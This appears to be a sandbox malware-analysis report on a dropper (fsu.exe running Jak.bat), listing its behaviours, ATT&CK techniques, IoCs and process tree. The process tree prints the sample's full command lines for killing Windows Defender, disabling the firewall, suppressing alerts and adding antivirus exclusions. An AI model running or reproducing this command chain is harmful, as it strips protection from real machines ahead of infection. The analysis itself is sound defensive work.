23dddfb56f1e398b8e41453724feba55b26959ad66e7825f922f0e1090995fd1

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 8 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	reg.exe

Modifies firewall policy service 3 TTPs 6 IoCs

Modify Registry

Windows Service

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile\EnableFirewall = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\EnableFirewall = "0"	reg.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	reg.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
22	1152	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
2236	netsh.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
2288	takeown.exe
4780	icacls.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Control Panel\International\Geo\Nation	fsu.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 3 IoCs

pid	Process
208	hJ73Ka.exe
1568	hJ73Ka.exe
5068	hJ73Ka.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4780	icacls.exe
2288	takeown.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1212	powershell.exe
1152	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
21	discord.com
22	discord.com

Enumerates connected drives 3 TTPs 2 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Modifies Security services 2 TTPs 4 IoCs

Modifies the startup behavior of a security service.

Modify Registry

persistence privilege_escalation

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdBoot\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdFilter\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisDrv\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisSvc\Start = "4"	reg.exe

Launches sc.exe 7 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4708	sc.exe
3728	sc.exe
3232	sc.exe
4268	sc.exe
4756	sc.exe
3332	sc.exe
1304	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
820	cmd.exe
2576	cmd.exe
2516	cmd.exe
3856	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
4680	ipconfig.exe
1360	ipconfig.exe

Kills process with taskkill 6 IoCs

pid	Process
3936	taskkill.exe
4020	taskkill.exe
4068	taskkill.exe
3224	taskkill.exe
4328	taskkill.exe
1432	taskkill.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3636	schtasks.exe

Suspicious behavior: EnumeratesProcesses 54 IoCs

pid	Process
1212	powershell.exe
1212	powershell.exe
1152	powershell.exe
1152	powershell.exe
1152	powershell.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	2288	takeown.exe
Token: SeDebugPrivilege	4020	taskkill.exe
Token: SeDebugPrivilege	4068	taskkill.exe
Token: SeDebugPrivilege	3224	taskkill.exe
Token: SeDebugPrivilege	4328	taskkill.exe
Token: SeDebugPrivilege	1432	taskkill.exe
Token: SeDebugPrivilege	3936	taskkill.exe
Token: SeIncreaseQuotaPrivilege	2916	WMIC.exe
Token: SeSecurityPrivilege	2916	WMIC.exe
Token: SeTakeOwnershipPrivilege	2916	WMIC.exe
Token: SeLoadDriverPrivilege	2916	WMIC.exe
Token: SeSystemProfilePrivilege	2916	WMIC.exe
Token: SeSystemtimePrivilege	2916	WMIC.exe
Token: SeProfSingleProcessPrivilege	2916	WMIC.exe
Token: SeIncBasePriorityPrivilege	2916	WMIC.exe
Token: SeCreatePagefilePrivilege	2916	WMIC.exe
Token: SeBackupPrivilege	2916	WMIC.exe
Token: SeRestorePrivilege	2916	WMIC.exe
Token: SeShutdownPrivilege	2916	WMIC.exe
Token: SeDebugPrivilege	2916	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2916	WMIC.exe
Token: SeRemoteShutdownPrivilege	2916	WMIC.exe
Token: SeUndockPrivilege	2916	WMIC.exe
Token: SeManageVolumePrivilege	2916	WMIC.exe
Token: 33	2916	WMIC.exe
Token: 34	2916	WMIC.exe
Token: 35	2916	WMIC.exe
Token: 36	2916	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2916	WMIC.exe
Token: SeSecurityPrivilege	2916	WMIC.exe
Token: SeTakeOwnershipPrivilege	2916	WMIC.exe
Token: SeLoadDriverPrivilege	2916	WMIC.exe
Token: SeSystemProfilePrivilege	2916	WMIC.exe
Token: SeSystemtimePrivilege	2916	WMIC.exe
Token: SeProfSingleProcessPrivilege	2916	WMIC.exe
Token: SeIncBasePriorityPrivilege	2916	WMIC.exe
Token: SeCreatePagefilePrivilege	2916	WMIC.exe
Token: SeBackupPrivilege	2916	WMIC.exe
Token: SeRestorePrivilege	2916	WMIC.exe
Token: SeShutdownPrivilege	2916	WMIC.exe
Token: SeDebugPrivilege	2916	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2916	WMIC.exe
Token: SeRemoteShutdownPrivilege	2916	WMIC.exe
Token: SeUndockPrivilege	2916	WMIC.exe
Token: SeManageVolumePrivilege	2916	WMIC.exe
Token: 33	2916	WMIC.exe
Token: 34	2916	WMIC.exe
Token: 35	2916	WMIC.exe
Token: 36	2916	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4224	WMIC.exe
Token: SeSecurityPrivilege	4224	WMIC.exe
Token: SeTakeOwnershipPrivilege	4224	WMIC.exe
Token: SeLoadDriverPrivilege	4224	WMIC.exe
Token: SeSystemProfilePrivilege	4224	WMIC.exe
Token: SeSystemtimePrivilege	4224	WMIC.exe
Token: SeProfSingleProcessPrivilege	4224	WMIC.exe
Token: SeIncBasePriorityPrivilege	4224	WMIC.exe
Token: SeCreatePagefilePrivilege	4224	WMIC.exe
Token: SeBackupPrivilege	4224	WMIC.exe
Token: SeRestorePrivilege	4224	WMIC.exe
Token: SeShutdownPrivilege	4224	WMIC.exe
Token: SeDebugPrivilege	4224	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4224	WMIC.exe
Token: SeRemoteShutdownPrivilege	4224	WMIC.exe

Suspicious use of FindShellTrayWindow 60 IoCs

pid	Process
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe

Suspicious use of SendNotifyMessage 60 IoCs

pid	Process
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe
3972	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4176 wrote to memory of 3856	4176	fsu.exe	87
PID 3856 wrote to memory of 4260	3856	cmd.exe	90
PID 4260 wrote to memory of 3864	4260	net.exe	91
PID 3856 wrote to memory of 2288	3856	cmd.exe	93
PID 3856 wrote to memory of 4780	3856	cmd.exe	95
PID 3856 wrote to memory of 4268	3856	cmd.exe	96
PID 3856 wrote to memory of 4756	3856	cmd.exe	97
PID 3856 wrote to memory of 3332	3856	cmd.exe	98
PID 3856 wrote to memory of 1304	3856	cmd.exe	99
PID 3856 wrote to memory of 4708	3856	cmd.exe	100
PID 3856 wrote to memory of 3728	3856	cmd.exe	101
PID 3856 wrote to memory of 3232	3856	cmd.exe	102
PID 3856 wrote to memory of 3144	3856	cmd.exe	103
PID 3144 wrote to memory of 3436	3144	net.exe	104
PID 3856 wrote to memory of 1164	3856	cmd.exe	105
PID 1164 wrote to memory of 1720	1164	net.exe	106
PID 3856 wrote to memory of 1376	3856	cmd.exe	107
PID 1376 wrote to memory of 4412	1376	net.exe	108
PID 3856 wrote to memory of 4988	3856	cmd.exe	110
PID 4988 wrote to memory of 4868	4988	net.exe	111
PID 3856 wrote to memory of 4020	3856	cmd.exe	112
PID 3856 wrote to memory of 4068	3856	cmd.exe	114
PID 3856 wrote to memory of 3224	3856	cmd.exe	115
PID 3856 wrote to memory of 4328	3856	cmd.exe	116
PID 3856 wrote to memory of 1432	3856	cmd.exe	117
PID 3856 wrote to memory of 3936	3856	cmd.exe	118
PID 3856 wrote to memory of 3352	3856	cmd.exe	119
PID 3856 wrote to memory of 1384	3856	cmd.exe	120
PID 1384 wrote to memory of 1788	1384	net.exe	121
PID 3856 wrote to memory of 2940	3856	cmd.exe	122
PID 3856 wrote to memory of 2512	3856	cmd.exe	123
PID 3856 wrote to memory of 3052	3856	cmd.exe	124
PID 3856 wrote to memory of 672	3856	cmd.exe	125
PID 3856 wrote to memory of 4504	3856	cmd.exe	126
PID 3856 wrote to memory of 3024	3856	cmd.exe	127
PID 3856 wrote to memory of 692	3856	cmd.exe	128
PID 3856 wrote to memory of 5020	3856	cmd.exe	129
PID 3856 wrote to memory of 4812	3856	cmd.exe	130
PID 3856 wrote to memory of 2884	3856	cmd.exe	131
PID 3856 wrote to memory of 1532	3856	cmd.exe	132
PID 3856 wrote to memory of 5048	3856	cmd.exe	133
PID 3856 wrote to memory of 4616	3856	cmd.exe	134
PID 3856 wrote to memory of 3720	3856	cmd.exe	135
PID 3856 wrote to memory of 1572	3856	cmd.exe	136
PID 3856 wrote to memory of 2236	3856	cmd.exe	137
PID 3856 wrote to memory of 2636	3856	cmd.exe	138
PID 3856 wrote to memory of 1608	3856	cmd.exe	139
PID 3856 wrote to memory of 4900	3856	cmd.exe	140
PID 3856 wrote to memory of 2916	3856	cmd.exe	141
PID 3856 wrote to memory of 4224	3856	cmd.exe	143
PID 3856 wrote to memory of 3508	3856	cmd.exe	146
PID 3856 wrote to memory of 1212	3856	cmd.exe	147
PID 3856 wrote to memory of 3332	3856	cmd.exe	150
PID 3856 wrote to memory of 4848	3856	cmd.exe	151
PID 3856 wrote to memory of 4708	3856	cmd.exe	152
PID 3856 wrote to memory of 3728	3856	cmd.exe	153
PID 3856 wrote to memory of 3232	3856	cmd.exe	154
PID 3856 wrote to memory of 4588	3856	cmd.exe	155
PID 3856 wrote to memory of 4160	3856	cmd.exe	156
PID 3856 wrote to memory of 3636	3856	cmd.exe	157
PID 3856 wrote to memory of 4660	3856	cmd.exe	158
PID 3856 wrote to memory of 1568	3856	cmd.exe	162
PID 3856 wrote to memory of 820	3856	cmd.exe	164
PID 820 wrote to memory of 4328	820	cmd.exe	165

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\fsu.exe
"C:\Users\Admin\AppData\Local\Temp\fsu.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4176
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\Jak.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3856
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4260
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3864
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Program Files\Windows Defender" /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2288
- - C:\Windows\system32\icacls.exe
    icacls "C:\Program Files\Windows Defender" /grant administrators:F /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4780
- - C:\Windows\system32\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:4268
- - C:\Windows\system32\sc.exe
    sc config SecurityHealthService start= disabled
    3⤵
    - Launches sc.exe
    PID:4756
- - C:\Windows\system32\sc.exe
    sc config Sense start= disabled
    3⤵
    - Launches sc.exe
    PID:3332
- - C:\Windows\system32\sc.exe
    sc config WdNisSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:1304
- - C:\Windows\system32\sc.exe
    sc config WdNisDrv start= disabled
    3⤵
    - Launches sc.exe
    PID:4708
- - C:\Windows\system32\sc.exe
    sc config WdBoot start= disabled
    3⤵
    - Launches sc.exe
    PID:3728
- - C:\Windows\system32\sc.exe
    sc config WdFilter start= disabled
    3⤵
    - Launches sc.exe
    PID:3232
- - C:\Windows\system32\net.exe
    net stop WinDefend
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3144
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      PID:3436
- - C:\Windows\system32\net.exe
    net stop SecurityHealthService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1164
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SecurityHealthService
      4⤵
      PID:1720
- - C:\Windows\system32\net.exe
    net stop Sense
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1376
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop Sense
      4⤵
      PID:4412
- - C:\Windows\system32\net.exe
    net stop WdNisSvc
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4988
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WdNisSvc
      4⤵
      PID:4868
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4020
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEngCP.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4068
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecurityHealthService.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3224
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecurityHealthSystray.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4328
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im smartscreen.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1432
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im ApplicationFrameHost.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3936
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t REG_DWORD /d 4 /f
    3⤵
    - Modifies security service
    PID:3352
- - C:\Windows\system32\net.exe
    net stop wscsvc
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1384
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop wscsvc
      4⤵
      PID:1788
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d 4 /f
    3⤵
    - Modifies Security services
    PID:2940
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d 4 /f
    3⤵
    - Modifies Security services
    PID:2512
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d 4 /f
    3⤵
    - Modifies Security services
    PID:3052
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d 4 /f
    3⤵
    - Modifies Security services
    PID:672
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d 0 /f
    3⤵
    - Modifies Windows Defender TamperProtection settings
    PID:4504
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtectionSource" /t REG_DWORD /d 2 /f
    3⤵
    PID:3024
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    PID:692
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d 1 /f
    3⤵
    PID:5020
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4812
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2884
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1532
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:5048
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:4616
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration" /v "SuppressNotifications" /t REG_DWORD /d 1 /f
    3⤵
    PID:3720
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v "Enabled" /t REG_DWORD /d 0 /f
    3⤵
    PID:1572
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:2236
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v "EnableFirewall" /t REG_DWORD /d 0 /f
    3⤵
    - Modifies firewall policy service
    PID:2636
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile" /v "EnableFirewall" /t REG_DWORD /d 0 /f
    3⤵
    - Modifies firewall policy service
    PID:1608
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile" /v "EnableFirewall" /t REG_DWORD /d 0 /f
    3⤵
    - Modifies firewall policy service
    PID:4900
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\microsoft\windows\defender path MSFT_MpPreference call Add ExclusionPath="C:\Users\Admin\AppData\Roaming\Realtek Audio"
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious use of AdjustPrivilegeToken
    PID:2916
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\microsoft\windows\defender path MSFT_MpPreference call Add ExclusionPath="C:\Users\Admin\AppData\Roaming"
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious use of AdjustPrivilegeToken
    PID:4224
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\microsoft\windows\defender path MSFT_MpPreference call Add ExclusionExtension="exe"
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    PID:3508
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Set-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Realtek Audio' -Force; Set-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming' -Force; Set-MpPreference -ExclusionExtension '.exe' -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
